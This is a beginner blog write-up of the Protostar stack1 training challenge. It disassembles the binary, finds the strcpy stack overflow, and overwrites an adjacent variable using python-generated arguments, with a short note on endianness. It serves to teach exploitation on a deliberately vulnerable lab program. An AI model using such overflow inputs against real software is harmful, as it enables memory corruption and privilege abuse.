Validating program arguments (Protostar - stack1)
Tags: protostar, security, beginners, challenge
Published: 2020-12-06 19:30:10

[Last time](https://dev.to/hextrace/protostar-stack0-470f) we discovered how bad can stack overflows be. This presents another way for the user to inject malicious data into a program: program arguments.

## Static analysis
```
root@protostar:/opt/protostar/bin# file stack1
stack1: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped
```

Let's have a look at the `strings`:
```
root@protostar:/opt/protostar/bin# strings stack1 | tail -n3
please specify an argument
you have correctly got the variable to the right value
Try again, you got 0x%08x
```


Now we're going to take a look at the code and document the objdump output.
```
8048464:       55                      push   ebp
8048465:       89 e5                   mov    ebp,esp
8048467:       83 e4 f0                and    esp,0xfffffff0
804846a:       83 ec 60                sub    esp,0x60

804846d:       83 7d 08 01             cmp    DWORD PTR [ebp+0x8],0x1         ; argc == 1
8048471:       75 14                   jne    8048487 <main+0x23>

8048473:       c7 44 24 04 a0 85 04    mov    DWORD PTR [esp+0x4],0x80485a0   ; please specify an argument
804847a:       08
804847b:       c7 04 24 01 00 00 00    mov    DWORD PTR [esp],0x1             ; exit failure code
8048482:       e8 01 ff ff ff          call   8048388 <errx@plt>              ; errx(1, "please spec...");

8048487:       c7 44 24 5c 00 00 00    mov    DWORD PTR [esp+0x5c],0x0        ; init variable to 0x0
804848e:       00
804848f:       8b 45 0c                mov    eax,DWORD PTR [ebp+0xc]         ; load *argv into eax
8048492:       83 c0 04                add    eax,0x4                         ; increment argv pointer (poitner size is 4 here)
8048495:       8b 00                   mov    eax,DWORD PTR [eax]             ; eax now points to argv[1]
8048497:       89 44 24 04             mov    DWORD PTR [esp+0x4],eax         ; save on stack (relative stack pointer) for argument passing
804849b:       8d 44 24 1c             lea    eax,[esp+0x1c]                  ; load our stack buffer into eax
804849f:       89 04 24                mov    DWORD PTR [esp],eax             ; save on stack
80484a2:       e8 c1 fe ff ff          call   8048368 <strcpy@plt>            ; strcpy(buffer, argv[1]);

80484a7:       8b 44 24 5c             mov    eax,DWORD PTR [esp+0x5c]        ; load inited variable at 0x8048487
80484ab:       3d 64 63 62 61          cmp    eax,0x61626364                  ; compare mystery variable to 0x61626364
80484b0:       75 0e                   jne    80484c0 <main+0x5c>

80484b2:       c7 04 24 bc 85 04 08    mov    DWORD PTR [esp],0x80485bc       ; load goodboy message on stack
80484b9:       e8 da fe ff ff          call   8048398 <puts@plt>              ; puts("you hace correctly...");
80484be:       eb 15                   jmp    80484d5 <main+0x71>             ; gtfo

80484c0:       8b 54 24 5c             mov    edx,DWORD PTR [esp+0x5c]        ; load mystery variable
80484c4:       b8 f3 85 04 08          mov    eax,0x80485f3                   ; load badboy message
80484c9:       89 54 24 04             mov    DWORD PTR [esp+0x4],edx         ; push mystery variable on stack
80484cd:       89 04 24                mov    DWORD PTR [esp],eax             ; push badboy message on stack
80484d0:       e8 a3 fe ff ff          call   8048378 <printf@plt>            ; printf("Try again, you got 0X%08x", mystery);

80484d5:       c9                      leave                                  ; gtfo
80484d6:       c3                      ret
```

Ok, so it gets a bit more complicated than the previous one.
First we have a check against program argument count: we must provide an argument.
This argument is loaded into a 64 bytes long buffer using `strcpy`.
Finally, we can resolve the challenge by modifying the stack variable from `0x0` to `0x61626364`.

The vulnerability here is in `strcpy`. Again, let's read the manual:
```
The strings may not overlap, and the destination string dest must be large enough to receive the copy.
```

That means, the destination buffer of `strcpy` is subject to overflow. The target variable is living just behind so we should be able to write an arbitrary value there.
The value we want to write is `0x61626364`, it is four bytes long (like an int here): `0x61 0x62 0x63 0x64`.
Each character of our overflow is encoded using one byte, so with four of them we might be able to match the required int `0x61626364`.
The ascii tables gives us the characters associated with each of the bytes composing the mystery value:


- 0x61 'a'
- 0x62 'b'
- 0x63 'c'
- 0x63 'd'

## Exploitation

First let's validate our understanding of the program:
```
root@protostar:/opt/protostar/bin# ./stack1 # no argument
stack1: please specify an argument
```

```
root@protostar:/opt/protostar/bin# ./stack1 $(python -c 'print "A" * 42')
Try again, you got 0x00000000
```

Alright, we have the error message. Now let's validate the 64 bytes buffer overflow:
```
root@protostar:/opt/protostar/bin# ./stack1 $(python -c 'print "A" * 64')
Try again, you got 0x00000000
root@protostar:/opt/protostar/bin# ./stack1 $(python -c 'print "A" * 65')
Try again, you got 0x00000041
```

Awesome, now let's try with our chars 'abcd':
```
root@protostar:/opt/protostar/bin# ./stack1 $(python -c 'print "A" * 64 + "abcd"')
Try again, you got 0x64636261
```

Wait? What? It looks like our bytes got reversed in the process?
This behaviour depends on how which order the system is supposed to read memory chunks. This is call endianess. Our system here is using little-endian (LE). All we have to do is  reverse our four last characters!
```
root@protostar:/opt/protostar/bin# ./stack1 $(python -c 'print "A" * 64 + "dcba"')
you have correctly got the variable to the right value
```

Have fun!

# Links

- challenge source: https://exploit-exercises.lains.space/protostar/stack1/
- argc && argv on x86: http://courses.cs.vt.edu/cs2505/fall2014/Notes/T21_x86CLParameters.pdf
- passing argument via stack: https://en.wikipedia.org/wiki/X86_calling_conventions#List_of_x86_calling_conventions
- endianess: https://en.wikipedia.org/wiki/Endianness